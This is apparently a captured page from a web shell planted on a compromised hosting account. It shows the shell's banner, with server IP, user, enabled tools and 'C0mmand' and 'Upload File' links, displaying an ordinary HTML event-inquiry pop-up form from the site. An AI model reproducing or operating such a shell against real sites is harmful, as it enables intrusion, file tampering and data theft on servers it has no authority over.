|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/universalmusicliveevents/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
/* Style the form container */
#inquiryFormContainer {
width: 40%;
display: none;
position: fixed;
top: 60%;
right: 0;
transform: translate(0, -50%);
padding: 20px;
background-color: #f9f9f9;
border: 1px solid #ccc;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
z-index: 1000;
}
/* Style to adjust form width on smaller screens */
@media (max-width: 768px) {
#inquiryFormContainer {
width: 90%;
max-width: 100%;
left: 50%;
transform: translate(-50%, -50%);
}
}
/* Style the close symbol */
.close-icon {
position: absolute;
top: 10px;
right: 10px;
font-size: 20px;
cursor: pointer;
}
</style>
<title>Inquiry Form</title>
</head>
<body>
<script>
// Function to display the form
function showInquiryForm() {
// Display the form container
document.getElementById('inquiryFormContainer').style.display = 'block';
}
// Function to hide the form
function hideInquiryForm() {
// Hide the form container
document.getElementById('inquiryFormContainer').style.display = 'none';
}
// Delay the execution of the function by 20 seconds
setTimeout(showInquiryForm, 20000); // 20 seconds in milliseconds
</script>
<!-- Inquiry Form Container -->
<div class="col-xl-4">
<div class="ms-contact-wrap ms-contact-space mb-70 ms-bg-2" id="inquiryFormContainer">
<!-- Close icon -->
<span class="close-icon" onclick="hideInquiryForm()">×</span>
<!-- Form content -->
<form method="post" action="mail.php">
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-6">
<div class="ms-input2-box mb-20">
<input type="text" name="name" placeholder="Name" style="width: 100%; padding: 10px;">
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-6">
<div class="ms-input2-box mb-20">
<input type="email" name="email" placeholder="Email" style="width: 100%; padding: 10px;">
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-6">
<div class="ms-input2-box mb-20">
<input type="text" name="event" placeholder="Event Type" style="width: 100%; padding: 10px;">
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-6">
<div class="ms-input2-box mb-20">
<input type="text" name="phone" placeholder="Phone Number" style="width: 100%; padding: 10px;">
</div>
</div>
<div class="col-lg-12 col-md-6 col-sm-6 col-12">
<div class="ms-input2-box mb-20">
<input type="text" name="event_detail" placeholder="Event Detail, Place, Date, etc" style="width: 100%; padding: 10px;">
</div>
</div>
<div class="col-lg-12 col-md-6 col-sm-6 col-12">
<div class="ms-submit-btn mt-20">
<button class="unfill__btn" type="submit" style="padding: 10px;">Send Requirement</button>
</div>
</div>
</div>
</form>
</div>
</div>
</body>
</html>
x